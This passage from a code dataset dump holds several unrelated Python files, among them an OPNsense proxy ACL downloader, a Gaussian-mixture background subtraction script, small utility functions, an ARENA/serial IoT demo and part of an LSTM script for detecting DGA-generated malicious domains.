PROFITS; OR BUSINESS\n INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nimport urllib2\nimport os\nimport os.path\nimport tarfile\nimport gzip\nimport zipfile\nimport StringIO\nimport syslog\nfrom ConfigParser import ConfigParser\n\nacl_config_fn = ('/usr/local/etc/squid/externalACLs.conf')\nacl_target_dir = ('/usr/local/etc/squid/acl')\nacl_max_timeout = 30\n\nclass ACLDownload(object):\n\n def __init__(self, url, timeout):\n \"\"\" init new\n \"\"\"\n self._url = url\n self._timeout = timeout\n self._source_data = None\n self._target_data = None\n\n def fetch(self):\n \"\"\" fetch (raw) source data into self._source_data\n \"\"\"\n try:\n f = urllib2.urlopen(self._url,timeout = self._timeout)\n self._source_data = f.read()\n f.close()\n except (urllib2.URLError, urllib2.HTTPError, IOError) as e:\n syslog.syslog(syslog.LOG_ERR, 'proxy acl: error downloading %s'%self._url)\n self._source_data = None\n\n def pre_process(self):\n \"\"\" pre process downloaded data, handle compression\n \"\"\"\n if self._source_data is not None:\n # handle compressed data\n if (len(self._url) > 8 and self._url[-7:] == '.tar.gz') \\\n or (len(self._url) > 4 and self._url[-4:] == '.tgz'):\n # source is in tar.gz format, extract all into a single string\n try:\n tf = tarfile.open(fileobj=StringIO.StringIO(self._source_data))\n target_data = []\n for tf_file in tf.getmembers():\n if tf_file.isfile():\n target_data.append(tf.extractfile(tf_file).read())\n self._target_data = ''.join(target_data)\n except IOError as e:\n syslog.syslog(syslog.LOG_ERR, 'proxy acl: error downloading %s (%s)'%(self._url, e))\n elif len(self._url) > 4 and self._url[-3:] == '.gz':\n # source is in .gz format unpack\n try:\n gf = gzip.GzipFile(mode='r', fileobj=StringIO.StringIO(self._source_data))\n self._target_data = gf.read()\n except IOError as e:\n syslog.syslog(syslog.LOG_ERR, 'proxy acl: error downloading %s (%s)'%(self._url, e))\n elif len(self._url) > 5 and self._url[-4:] == '.zip':\n # source is in .zip format, extract all into a single string\n target_data = []\n with zipfile.ZipFile(StringIO.StringIO(self._source_data),\n mode='r',\n compression=zipfile.ZIP_DEFLATED) as zf:\n for item in zf.infolist():\n target_data.append(zf.read(item))\n self._target_data = ''.join(target_data)\n else:\n self._target_data = self._source_data\n\n def download(self):\n self.fetch()\n self.pre_process()\n\n def is_valid(self):\n \"\"\" did this ACL download successful\n \"\"\"\n if self._target_data is not None:\n return True\n else:\n return False\n\n def get_data(self):\n \"\"\" retrieve data\n \"\"\"\n # XXX: maybe some postprocessing is needed here, all will be used with a squid dstdom_regex tag\n return self._target_data\n\n\n# parse OPNsense external ACLs config\nif os.path.exists(acl_config_fn):\n # create acl directory (if new)\n if not os.path.exists(acl_target_dir):\n os.mkdir(acl_target_dir)\n # read config and download per section\n cnf = ConfigParser()\n cnf.read(acl_config_fn)\n for section in cnf.sections():\n # check if tag enabled exists in section\n if cnf.has_option(section,'enabled'):\n # if enabled fetch file\n target_filename = acl_target_dir+'/'+section\n if cnf.get(section,'enabled')=='1':\n if cnf.has_option(section,'url'):\n download_url = cnf.get(section,'url')\n acl = ACLDownload(download_url, acl_max_timeout)\n acl.download()\n if acl.is_valid():\n output_data = acl.get_data()\n with open(target_filename, \"wb\") as code:\n code.write(output_data)\n elif not os.path.isfile(target_filename):\n # if there's no file available, create an empty one (otherwise leave the last download).\n with open(target_filename, \"wb\") as code:\n code.write(\"\")\n # if disabled or not 1 try to remove old file\n elif cnf.get(section,'enabled')!='1':\n try:\n os.remove(acl_target_dir+'/'+section)\n except OSError:\n pass\n","sub_path":"src/opnsense/scripts/proxy/fetchACLs.py","file_name":"fetchACLs.py","file_ext":"py","file_size_in_byte":6201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"618195129","text":"import numpy as np\nimport cv2 as cv2\nimport glob\nimport time\nimport os\nimport shutil\n\nglobal m_fit_num\n\nclass GMM():\n\n def __init__(self):\n self.GMM_MAX_COMPONT = 5 # 混合高斯数\n self.SIGMA = 30\n self.WEIGHT = 0.05\n self.T = 0.7 # 模型排序判读阀值\n self.alpha = 0.005 # 学习率\n self.eps = pow(10, -10)\n self.channel = 3 # RGB三个通道\n self.m_weight = [[] for i in range(self.GMM_MAX_COMPONT * self.channel)] # 权重\n self.m_mean = [[] for i in range(self.GMM_MAX_COMPONT * self.channel)] # 均值\n self.m_sigma = [[] for i in range(self.GMM_MAX_COMPONT * self.channel)] # 方差\n\n def init_model(self,img):\n row , col , channel = img.shape # 得到图片的长宽高 以及其中的通道数\n global m_fit_num\n for i in range(self.GMM_MAX_COMPONT * self.channel):\n self.m_weight[i] = np.zeros((row,col),dtype=\"float32\") # 每个点有5个高斯模型,总共三个通道\n self.m_mean[i] = np.zeros((row, col), dtype='float32')\n self.m_sigma[i] = np.ones((row, col), dtype='float32')\n self.m_sigma[i] *= self.SIGMA\n m_fit_num = np.zeros((row,col),dtype=\"int32\")\n\n def train_model(self,images):\n row, col, channel = images.shape # 得到图片的长宽高 以及其中的通道数\n B,R,G = cv2.split(images) # 利用cv2提取图像RGB三个通道的图形矩阵\n m_mask = np.zeros((row,col),dtype=np.uint8)\n m_mask[:] = 255\n for i in range(row): # 遍历每一个像素点\n for j in range(col):\n cnt = 0\n for c,img in enumerate((B,G,R)):\n num_fit = 0\n for k in range(c * self.GMM_MAX_COMPONT,c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT):\n if self.m_weight[k][i][j] != 0: # 权重不等于0\n delta = abs(img[i][j] - self.m_mean[k][i][j])\n if float(delta) < 2.5 * self.m_sigma[k][i][j]: # 在2.5个方差之内 平均数 方差 等参数\n self.m_weight[k][i][j] = (1 - self.alpha) * self.m_weight[k][i][j] + self.alpha * 1\n self.m_mean[k][i][j] = (1 - self.alpha) * self.m_mean[k][i][j] + self.alpha * img[i][j]\n self.m_sigma[k][i][j] = np.sqrt((1 - self.alpha) * self.m_sigma[k][i][j] * self.m_sigma[k][i][j] + self.alpha * (img[i][j] - self.m_mean[k][i][j]) * (img[i][j] - self.m_mean[k][i][j]))\n num_fit += 1\n else:\n self.m_weight[k][i][j] *= (1 - self.alpha)\n\n for p in range(c * self.GMM_MAX_COMPONT, c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT): # 对权重进行降序 根据𝜔/𝜎降序排序 等会进行选择\n for q in range(p + 1, c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT):\n if (self.m_weight[p][i][j] / self.m_sigma[p][i][j]) <= (self.m_weight[q][i][j] / self.m_sigma[q][i][j]):\n self.m_sigma[p][i][j], self.m_sigma[q][i][j] = self.m_sigma[q][i][j], self.m_sigma[p][i][j]\n self.m_weight[p][i][j], self.m_weight[q][i][j] = self.m_weight[q][i][j], self.m_weight[p][i][j]\n self.m_mean[p][i][j], self.m_mean[q][i][j] = self.m_mean[q][i][j], self.m_mean[p][i][j]\n if num_fit == 0: # 没有匹配到任何一个高斯模型\n if self.m_weight[c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT-1][i][j] ==0 :\n for kk in range(c * self.GMM_MAX_COMPONT, c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT):\n if (0 == self.m_weight[kk][i][j]): # 重新初始化参数\n self.m_weight[kk][i][j] = self.WEIGHT\n self.m_mean[kk][i][j] = img[i][j]\n self.m_sigma[kk][i][j] = self.SIGMA\n break\n else:\n self.m_weight[c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT - 1][i][j] = self.WEIGHT\n self.m_mean[c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT - 1][i][j] = img[i][j]\n self.m_sigma[c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT - 1][i][j] = self.SIGMA\n\n weight_sum = 0 # 每个高斯模型的权重要进行归一化操作\n for nn in range(c * self.GMM_MAX_COMPONT, c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT):\n if self.m_weight[nn][i][j] != 0:\n weight_sum += self.m_weight[nn][i][j]\n else:\n break\n weight_scale = 1.0 / (weight_sum + self.eps)\n weight_sum = 0\n\n for nn in range(c * self.GMM_MAX_COMPONT, c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT):\n if self.m_weight[nn][i][j] != 0:\n self.m_weight[nn][i][j] *= weight_scale\n weight_sum += self.m_weight[nn][i][j]\n if abs(img[i][j] - self.m_mean[nn][i][j]) < 2 * self.m_sigma[nn][i][j]:\n cnt += 1\n break\n if weight_sum > self.T:\n if abs(img[i][j] - self.m_mean[nn][i][j]) < 2 * self.m_sigma[nn][i][j]:\n cnt += 1\n break\n else:\n break\n if cnt == channel:\n m_mask[i][j] = 0\n\n m_mask = cv2.medianBlur(m_mask, 7)\n\n kernel_d = np.ones((5, 5), np.uint8)\n m_mask = cv2.dilate(m_mask, kernel_d)\n # element = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3)) # 调用库函数开启形态学去噪\n # m_mask = cv2.morphologyEx(m_mask, cv2.MORPH_OPEN, element) # 开运算去噪\n return m_mask\n\n def judge_img(self,imgs):\n row, col, channel = imgs.shape\n B, G, R = cv2.split(imgs)\n m_mask = np.zeros((row, col), dtype=np.uint8)\n m_mask[:] = 255\n for i in range(row):\n for j in range(col):\n cnt = 0\n for c, img in enumerate((B, G, R)): # 一张图片的每个像素点进行判断 是否是作为前景还是背景\n weight_sum = 0\n for nn in range(c * self.GMM_MAX_COMPONT, c * self.GMM_MAX_COMPONT + self.GMM_MAX_COMPONT):\n if self.m_weight[nn][i][j] != 0:\n weight_sum += self.m_weight[nn][i][j]\n if abs(img[i][j] - self.m_mean[nn][i][j]) < 2 * self.m_sigma[nn][i][j]:\n cnt += 1\n break\n if weight_sum > self.T:\n if abs(img[i][j] - self.m_mean[nn][i][j]) < 2 * self.m_sigma[nn][i][j]:\n cnt += 1\n break\n else:\n break\n\n if cnt == channel:\n m_mask[i][j] = 0\n\n m_mask = cv2.medianBlur(m_mask, 7)\n kernel_d = np.ones((5, 5), np.uint8)\n m_mask = cv2.dilate(m_mask, kernel_d)\n return m_mask\n\n\n\n\nif __name__ == '__main__':\n file_list = glob.glob('WavingTrees/b*.bmp') # 读入测试文件得列表\n GMM_Model = GMM()\n GMM_Model.__init__() # 初始化模型\n path = \"GMM_OUTPUT_Primordial\"\n if os.path.exists(path):\n shutil.rmtree(path)\n os.mkdir(path)\n else:\n os.mkdir(path)\n i = -1\n for file in file_list:\n i += 1\n img = cv2.imread(file)\n if i == 0:\n GMM_Model.init_model(img) # 第一张图片\n if i <= 200: # 前面的200张用于训练模型\n t1 = time.time()\n print(\"第{}次训练\".format(i))\n m_mask = GMM_Model.train_model(img)\n t2 = time.time()\n print(\"花费时间:\",t2 - t1)\n if i == 286: # 训练完毕 开始识别\n print(\"开始背景检测\")\n t1 = time.time()\n j = 0\n for temp_file in file_list:\n temp_img = cv2.imread(temp_file)\n m_mask = GMM_Model.judge_img(temp_img)\n cv2.imwrite(\"GMM_OUTPUT_Primordial/{}.jpg\".format(str(j).zfill(3)), m_mask)\n j += 1\n t2 = time.time()\n print(\"检测花费时间:\",t2 - t1)\n\n\n\n\n\n\n\n","sub_path":"GMM_Backgroundsubtraction.py","file_name":"GMM_Backgroundsubtraction.py","file_ext":"py","file_size_in_byte":8867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"411086113","text":"import numpy as np\n\nclass Line:\n def __init__(self, x_0, y_0, x_1, y_1):\n\n self.x_0 = x_0\n self.y_0 = y_0\n\n self.x_1 = x_1\n self.y_1 = y_1\n\n # slope and y-intercept\n self.alpha = (y_1 - y_0)/(x_1 - x_0)\n self.beta = y_0 - self.alpha*x_0\n\n def evaluate_at(self, x):\n y = self.alpha * x + self.beta\n return y\n\n def exp(self, x):\n y = np.exp(self.alpha*x+self.beta)\n return y\n\n def intersection_with(self, line2):\n # mx+b = ax+c\n # mx-ax = c-b\n # x(m-a)=c-b\n # x = (c-b)/(m-a)\n x = (line2.beta - self.beta) / (self.alpha - line2.alpha)\n y = self.evaluate_at(x)\n coord = {'x': x, 'y': y}\n return coord\n\n def area(self):\n dist = self.x_1 - self.x_0\n triangle = np.abs(self.y_1-self.y_0) * dist / 2\n area = dist * self.y_0 + triangle\n return area\n\n def __repr__(self):\n return (\"from (%f, %f) to (%f, %f) \\n\"\n \"alpha = %f \\n \"\n \"beta = %f\" %\n (self.x_0,\n self.y_0,\n self.x_1,\n self.y_1,\n self.alpha,\n self.beta))","sub_path":"AcceptReject/AdaptiveAcceptReject/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"223163255","text":"def disemvowel(word):\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n newWord = list(word)\n for letter in word:\n if letter.lower() in vowels:\n newWord.remove(letter)\n newWord = \"\".join(newWord)\n\n\n\n print(newWord)\n\n\n\n\n\n\ndisemvowel(\"Hello\")","sub_path":"Disemvowelment.py","file_name":"Disemvowelment.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"522957404","text":"import serial\nimport time\nimport json\nimport random\nimport arena\nfrom threading import Thread\nfrom utils import send_alert2\n\n# Global for keeping track of which sensor to display data from\n\ntest_email = True\n\n\n\n\nemail_status= False\n\nif test_email and email_status==False:\n send_alert2()\n email_status=True\n\ndef start_serial():\n global sensor_to_read\n global reading_text\n\n\n\n global email_status \n# global test_email\n global door_status\n\n # set up the serial line\n ser = serial.Serial('COM4', 9600)\n time.sleep(2)\n \n \n while True:\n if email_status and door_status == True:\n ser.write(\"blink\\n\".encode())\n \n elif email_status and door_status == False:\n ser.write(\"dont blink\\n\".encode())\n time.sleep(1)\n\n ser.close()\n\n\ndef scene_callback(msg):\n print(\"scene_callback: \", msg)\n\narena.init(\"arena.andrew.cmu.edu\", \"realm\", \"patrick_scene\")#, scene_callback)\n\n\n\n\ndoor_status = False\ndef door_button_callback(event):\n global door_obj\n global door_status\n if event.event_type == arena.EventType.mousedown:\n if door_status:\n door_status = False\n door_obj.update(data='{\"animation\": { \"property\": \"rotation\", \"from\": \"0 90 0\", \"to\": \"0 0 0\", \"loop\": false, \"dur\": 1000}}')\n else:\n door_status = True\n door_obj.update(data='{\"animation\": { \"property\": \"rotation\",\"from\": \"0 0 0\", \"to\": \"0 90 0 \", \"loop\": false, \"dur\": 1000}}')\ndoor_obj = arena.Object(\n objName = \"door\",\n objType=arena.Shape.cube,\n scale=(0.1,2,1.2),\n location=(-9,1.6,-2),\n clickable=False,\n data='{\"animation\": { \"property\": \"rotation\", \"to\": \"0 0 0\", \"loop\": false, \"dur\": 0}}',\n)\nbutton_door = arena.Object(\n objName = \"button_dor\",\n objType=arena.Shape.cube,\n scale=(1,1,1),\n location=(-11,1.6,-3),\n clickable=True,\n callback=door_button_callback,\n color = (255,0, 255)\n)\n \n\nthread = Thread(target = start_serial)\nthread.start()\narena.handle_events()\n\nthread.join()","sub_path":"misc_files/source_code/ECE202A-main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"202369208","text":"def Permutation(index, N, M):\n global result\n\n if index == M:\n result_str = ' '.join(map(str, result))\n if result_str not in result_set:\n print(result_str)\n result_set.add(result_str)\n return 0\n\n for j in range(1, N+1):\n if visited[j][1] is not True:\n result[index] = visited[j][0]\n visited[j][1] = True\n Permutation(index + 1, N, M)\n visited[j][1] = False\n\n\n\nN, M = map(int, input().split())\nnode = list(map(int, input().split()))\nnode.sort()\nvisited = {}\nresult_set = set()\n\nfor i in range(1, N+1):\n visited[i] = [node[i-1], False]\n\nresult = [0 for i in range(M)]\nPermutation(0, N, M)","sub_path":"Python/NM9.py","file_name":"NM9.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"245138893","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Libraries\nimport os\nimport argparse\nimport sys\nimport time\nimport json\nimport re\nimport numpy as np\nimport pandas as pd\nimport statistics as stat\nimport lstm_binary\nimport lstm_multiclass\nfrom pprint import pprint\nfrom datetime import datetime\nfrom shutil import copy2\nfrom sklearn.model_selection import train_test_split\nimport pickle\n\n# constants\nmodels_path = '../data/local/models/'\ndata_path = '../data/local/staging/'\n\nREFPATH = \"./\"\nPROJECT_ROOT = \"/Users/nscsekhar/Desktop/nscsekhar/Desktop/Surya/Personal/MIDS/W210/Project/team_cyber/\"\nMULTI_TOKENIZER_FILE = PROJECT_ROOT + \"saved_models/multiclass_tokenizer.pkl\"\nMULTI_CATEGORIES_FILE = PROJECT_ROOT + \"saved_models/multiclass_categories.pkl\"\nMULTI_MODEL_JSON = PROJECT_ROOT + \"saved_models/multiclass_LSTM.json\"\nMULTI_MODEL_H5 = PROJECT_ROOT + \"saved_models/multiclass_LSTM.h5\"\n\n\ndef valid_filename(filename, path=''):\n '''valid_filename: determines if the given filename is a real file. Assumes that the file is in the current working directory for the program.\n\n returns: given file name\n '''\n if path == '':\n path = os.getcwd()+'/'\n\n if not os.path.isfile(path+filename):\n msg = \"The given file '{}' does not exist at '{}'.\".format(\n filename,\n path\n )\n raise argparse.ArgumentTypeError(msg)\n\n return filename\n\n\ndef parse_args():\n '''parse_args: parse command line arguments\n\n return: dictionary of arguments\n '''\n parser = argparse.ArgumentParser(\n description='Runs models either in train or inference mode.',\n prog='models',\n epilog='Models requires at least one of -t/--train or -i/--inference to operate correctly. Both may be provided for sequential analysis.')\n parser.add_argument('config_file',\n type=valid_filename,\n metavar='CONFIG_FILE',\n help=\"File path to the requex configuration file. File must be in JSON format.\")\n parser.add_argument('-t', '--train',\n metavar='TRAINING_FILE',\n nargs=1,\n help=\"Runs models in training mode. Training will be run on the given file. The training file must be a prepared '.csv' file. The program will search for the file in the models, then staging, and finally downloads directories.\")\n parser.add_argument('-i', '--inference',\n metavar='INFERENCE_FILE',\n nargs=1,\n help=\"Runs models in inference mode. Inference will be run on the given file. The inference file must be a list of domains separated by carriage returns with no header. The program will search for the file in the models, then staging, and finally downloads directories.\")\n parser.add_argument('-m', '--model', choices=['binary', 'multiclass'],\n metavar='model_type',\n required=True,\n help=\"This required option indicates which type of model is being built or used. Using 'binary' selects a benign/malicious model. Using 'multiclass' will classify the malware family for each malicious classified entry.\")\n\n return vars(parser.parse_args())\n\n\ndef get_config_filename(filename=None):\n '''get_config_filename: returns a verified Requex configuration file name. This function handles the ambiguity around whether the module was called from a shell with command line arguments or if called from another program using the run() function. If filename is none, the function assumes that there are\n\n return: string; valid filename.\n '''\n if filename is None:\n # get command line arguments\n args = parse_args()\n filename = args['config_file']\n else:\n # filename provided, verify the file exists\n if not os.path.isfile(filename):\n print(\"The given file '{}' does not exist at '{}'.\".format(\n filename,\n os.getcwd()\n ))\n exit(1)\n return filename\n\n\ndef get_config(filename):\n '''get_config: reads the configuration JSON file and stores values in a dictionary for processing.\n\n PRE: assumes the file already exists\n\n return: dict of configuration settings\n '''\n\n with open(filename, \"r\") as f:\n config = json.load(f)\n\n return config\n\n\ndef get_file_date(filename):\n '''get_file_date: extracts file date from file name. File date must be in YYYY-MM-DD format.\n\n returns: datetime object of file date.\n '''\n date = re.search(r'\\d\\d\\d\\d-\\d\\d-\\d\\d|$', filename).group()\n year, month, day = date.split('-')\n return datetime(int(year), int(month), int(day))\n\n\ndef write_to_train_logfile(metrics, logpath, stdout=True):\n '''write_to_train_logfile: writes metadata in the metrics dict to a logfile\n '''\n # constants\n logfile = 'requex_training_log.csv'\n\n # write to logfile\n stamp = datetime.utcnow().strftime('%Y-%m-%d-%H:%M')\n\n # extract the filename\n # filename = os.path.basename(datafile)\n\n if stdout:\n # print(\"info:{:>10} rows: {:>10} malicious, {:>10} benign, a {:>3.3f} ratio\".format(total_rows, malicious_rows, benign_rows, ratio))\n print('info: {}, {}, {}, {:>3.3f}s, {:>3.2f} MB, {} rows: {} malicious, {} benign, {:>3.3f} ratio, {}, {} categories, train rows: {}, test rows: {}, train time: {:>3.3f}s, inference time: {:>3.3f}s'.format(\n stamp, metrics['filename'], metrics['filedate'], metrics['time'], metrics['memory'], metrics['total_rows'], metrics['malicious_rows'], metrics['benign_rows'], metrics['ratio'], metrics['model'], metrics['categories'], metrics['train_rows'], metrics['test_rows'], metrics['train_time'], metrics['inference_time']))\n\n with open(logpath+logfile, 'at') as log:\n log.write('{}, {}, {}, {:>3.3f}, {:>3.2f}, {}, {}, {}, {:>3.3f}, {}, {}, {}, {}, {:>3.3f}, {:>3.3f}\\n'.format(\n stamp, metrics['filename'], metrics['filedate'], metrics['time'], metrics['memory'], metrics['total_rows'], metrics['malicious_rows'], metrics['benign_rows'], metrics['ratio'], metrics['model'], metrics['categories'], metrics['train_rows'], metrics['test_rows'], metrics['train_time'], metrics['inference_time']))\n\n\ndef copy_models(src, dst):\n '''copy_models: copies the source file (src) to the dst directory. src must be a file and dst must be a directory. Exclusions is an optional parameter that allows for files with certain file names to be excluded from being moved.\n '''\n # check to see if a directory for the dst directory exists\n if not os.path.isdir(dst):\n # directory does not exist, create it\n os.mkdir(dst)\n\n # verify whether the source and destination are the same\n src_path, filename = os.path.split(src)\n if os.path.isfile(dst+filename):\n print(\"A file by the name '{}' already exists. File not copied. Processing will continue using the file already in the '{}' directory.\".format(filename, dst))\n elif os.path.isfile(src):\n copy2(src, dst)\n else:\n print(\"The given file '{}' does not exist.\".format(src))\n exit(1)\n\n\ndef get_training_data(filename, metrics, logpath):\n '''get_training_data: reads the csv file into a pandas dataframe\n\n return: pandas dataframe\n '''\n # constants\n MB = 1024*1024\n\n start_time = time.time()\n df = pd.read_csv(filename,\n sep=',',\n parse_dates=[0],\n dtype={1: int, 2: str, 3: str},\n engine='c')\n end_time = time.time()\n read_time = end_time - start_time\n\n # calculate the memory footprint of the dataframe\n memory = sys.getsizeof(df)/MB\n\n filedate = get_file_date(filename)\n total = df.shape[0]\n benign = df.loc[df['dga'] == 0].shape[0]\n malicious = df.loc[df['dga'] == 1].shape[0]\n ratio = malicious / benign\n\n # write to logfile\n # write_to_train_logfile(logpath, filename, filedate.strftime('%Y-%m-%d'), read_time, memory, total, malicious, '2',benign, ratio)\n metrics = {\n 'filename': filename,\n 'filedate': filedate.strftime('%Y-%m-%d'),\n 'time': read_time,\n 'memory': memory,\n 'total_rows': total,\n 'malicious_rows': malicious,\n 'benign_rows': benign,\n 'ratio': ratio,\n 'categories': 0,\n 'model': 'unknown',\n 'train_rows': 0,\n 'test_rows': 0,\n 'train_time': 0,\n 'inference_rows': 0,\n 'inference_time': 0,\n 'inference_time_mean': 0.0\n }\n\n return df, metrics\n\n\ndef prep_training_dataset_binary(df):\n '''prep_training_dataset_binary: creates X, Y datasets for training and testing.\n\n returns: pandas dataframe x4: X_train, X_test, Y_train, Y_test\n '''\n # create X, Y dataframes. X = 'domain' and the model will try to\n # predict Y the catengory index.\n X = df['domain']\n Y = df['dga']\n\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, test_size=0.2, random_state=23)\n\n return X_train, X_test, Y_train, Y_test\n\n\ndef prep_training_dataset_multiclass(df, categories_file):\n '''prep_training_dataset_multiclass: creates X, Y datasets for training and testing.\n\n returns: pandas dataframe x4: X_train, X_test, Y_train, Y_test and the number of uniques\n '''\n\n # factorize the malware column\n df['catIndex'], uniques = pd.factorize(df['malware'], sort=True)\n\n # display factorized values\n # print('malware uniques: total - {}\\n{}'.format(len(uniques), uniques))\n # print('catIndex uniques: {}'.format(\n # pd.unique(df['catIndex'].sort_values())))\n\n # record the categories to disk\n with open(categories_file, 'wb') as f:\n pickle.dump(uniques, f, protocol=pickle.HIGHEST_PROTOCOL)\n\n # create X, Y dataframes. X = 'domain' and the model will try to\n # predict Y the catengory index.\n X = df['domain']\n Y = df['catIndex']\n\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, test_size=0.2, random_state=23)\n\n return X_train, X_test, Y_train, Y_test, len(uniques)\n\n\ndef get_model_info(model_type, config):\n '''get_model_info: returns a dictionary with key value pairs of model file keys and model file names. The model file names are full path names anchored to the root_dir and placed in the models directory.\n\n type: a string indicating the type of model ['binary', ['multiclass']\n config: a dict filled with configuration parameters\n\n return: dict of model:filename pairs\n '''\n\n if model_type == 'binary':\n model = config['binary_model']\n elif model_type == 'multiclass':\n model = config['multiclass_model']\n else:\n # this branch shouldn't happen with the way parse_args() written\n msg = \"error: unsupported model type '{}'.\".format(model_type)\n raise argparse.ArgumentTypeError(msg)\n exit(1)\n\n root_dir = config['root_dir']\n models_dir = config['models_dir']\n\n model = {\n 'model_json': root_dir+models_dir+model['model_json'],\n 'model_H5': root_dir+models_dir+model['model_H5'],\n 'model_tokenizer': root_dir+models_dir+model['model_tokenizer'],\n 'model_categories': root_dir+models_dir+model['model_categories'],\n 'model_algorithm': model['model_algorithm']\n }\n\n return model\n\n\ndef find_file(filename, config):\n '''find_file: looks for the file in a few directories and moves it into the models_dir. Returns the full path to the training file.\n\n return: string of full file path in the models_dir or an empty string\n '''\n root_dir = config['root_dir']\n downloads_dir = config['downloads_dir']\n staging_dir = config['staging_dir']\n models_dir = config['models_dir']\n\n # look for file in models_dir\n # look for file in staging_dir\n # look for file in downloads_dir\n if os.path.isfile(root_dir+models_dir+filename):\n return root_dir+models_dir\n elif os.path.isfile(root_dir+staging_dir+filename):\n return root_dir+staging_dir\n elif os.path.isfile(root_dir+downloads_dir+filename):\n return root_dir+downloads_dir\n else:\n return ''\n # msg = \"The given file '{}' does not exist at any of these locations '{}', '{}', '{}'.\".format(\n # filename,\n # models_dir,\n # staging_dir,\n # downloads_dir\n # )\n # print(msg)\n # exit(1)\n\n\ndef get_model_type(model_type):\n '''get_model_type: evaluates model_type to see if it is a valid option. If model_type is empty, function will attempt to pull the parameters from the command line. This function should mirror the choices in parse_args() for -m/--models.\n\n return: a string with the model_type; empty string if not correct.\n '''\n if model_type is '':\n args = parse_args()\n return args['model']\n elif model_type.lower() == 'binary':\n return 'binary'\n elif model_type.lower() == 'multiclass':\n return 'multiclass'\n else:\n return ''\n\n\ndef get_train_file(filename, config):\n '''get_train_file: evaluates the filename as well as command line arguments to get the training file name. Verifies that the training file exists.\n\n returns: string of a filename or empty string if not valid.\n '''\n root_dir = config['root_dir']\n models_dir = config['models_dir']\n\n if filename == '':\n # no filename provided, attempt to get it from the command line\n # parameters\n args = parse_args()\n train_file = args['train']\n if train_file is not None:\n # extract the filename from the parameter list\n train_file = train_file[0]\n location = find_file(train_file, config)\n if location == '':\n # file was not found\n return ''\n else:\n copy_models(location+train_file, root_dir+models_dir)\n return root_dir+models_dir+train_file\n else:\n # the command line parameter for train_file was also None\n return ''\n else:\n # filename was provided\n location = find_file(train_file, config)\n if location == '':\n # file was not found\n return ''\n else:\n copy_models(location+train_file, root_dir+models_dir)\n return root_dir+models_dir+train_file\n\n\ndef get_inference_file(filename, config):\n '''get_inference_file: evaluates the filename as well as command line arguments to get the inference file name. Verifies that the inference file exists.\n\n returns: string of a filename or empty string if not valid.\n '''\n root_dir = config['root_dir']\n models_dir = config['models_dir']\n\n if filename == '':\n # no filename provided, attempt to get it from the command line\n # parameters\n args = parse_args()\n inference_file = args['inference']\n if inference_file is not None:\n # extract the filename from the parameter list\n inference_file = inference_file[0]\n location = find_file(inference_file, config)\n if location == '':\n # file was not found\n return ''\n else:\n copy_models(location+inference_file, root_dir+models_dir)\n return root_dir+models_dir+inference_file\n else:\n # the command line parameter for inference_file was also None\n return ''\n else:\n # filename was provided\n location = find_file(inference_file, config)\n if location == '':\n # file was not found\n return ''\n else:\n copy_models(location+inference_file, root_dir+models_dir)\n return root_dir+models_dir+inference_file\n\n\ndef load_inference_data(filename):\n '''load_inference_data: reads data from the given filename. The file must be a text file with '\\n' at the end of each entry, one entry per line.\n\n returns: list of data to be analyzed\n '''\n domains = []\n with open(filename, 'rt', newline='\\n') as f:\n lines = f.readlines()\n\n for line in lines:\n domains.append(line.strip())\n\n return domains\n\n\ndef write_predictions(domains, predictions, model_type, model_algo, version, config):\n '''write_predictions: takes a 1-D list of domains and predictions and writes them to the inference file output. File name will be 'predictions_YYYY-MM-DD.txt'.\n '''\n\n # create filename\n root_dir = config['root_dir']\n models_dir = config['models_dir']\n\n # get the current date and time:\n datestamp = time.strftime('%Y-%m-%d', time.gmtime())\n timestamp = time.strftime('%H:%M.%S', time.gmtime())\n\n output_file = root_dir+models_dir+model_type+model_algo+'_predictions_'+datestamp+'_v'+version+'.csv'\n\n # write the predictions to disk\n with open(output_file, 'wt') as f:\n f.write('creation_date: {} {}\\n'.format(datestamp, timestamp))\n for i, p in enumerate(predictions):\n # print('i: {}, p: {}, domains: {}'.format(i, p, domains[i]))\n f.write('{}, {}\\n'.format(domains[i], p))\n\n\ndef get_version_number(filename):\n '''get_version_number: extracts the version number from the filename.\n\n returns: string with a version number in it.\n '''\n basename = os.path.basename(filename)\n reg = re.compile(r'(?:_v\\d+)|$', flags=re.IGNORECASE)\n return re.search(reg, basename).group()[2:]\n\n\ndef run(config_file=None, model_type='', train_file='', inference_file=''):\n # get configuration parameters\n config_file = get_config_filename(config_file)\n config = get_config(config_file)\n # print('configuration settings:')\n # pprint(config)\n\n # parse function/command line parameters\n 